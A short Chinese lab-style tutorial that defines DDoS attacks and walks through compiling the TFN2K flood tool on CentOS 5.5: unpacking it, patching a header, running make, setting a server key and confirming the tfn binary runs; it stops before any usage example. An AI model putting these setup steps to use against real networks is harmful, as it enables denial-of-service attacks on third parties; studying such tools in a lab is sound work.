分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行
实验环境
centos-5.5 实验软件
tfn2k.tgz 配置软件
tar zxvf tfn2k.tgz
cd tfn2k
vim src/ip.h
找到 124 struct in_addr
125 {
126 unsigned long int s_addr;
127 };
改为 124 /*struct in_addr
125 {
126 unsigned long int s_addr;
127 }; */
make 安装
make[1]: Entering directory `/root/tfn2k/src'
gcc -Wall -O3 disc.c -o disc
disc.c: In function ‘main’:
disc.c:24: warning: implicit declaration of function ‘exit’
disc.c:24: warning: incompatible implicit declaration of built-in function ‘exit’
./disc
This program is distributed for educational purposes and without any
explicit or implicit warranty; in no event shall the author or contributors
be liable for any direct, indirect or incidental damages arising in any way
out of the use of this software.
I hereby certify that I will not hold the author liable for any wanted
or unwanted effects caused by this program and that I will give the author
full credit and exclusively use this program for educational purposes.
Do you agree to this disclaimer [y/n]? y
gcc -Wall -O3 mkpass.c -o mkpass
./mkpass
server key [8 - 32 chars]: 输入8位密码
cd /root/tfn2k
./tfn 如果看到这个,证明按住成功了 使用范例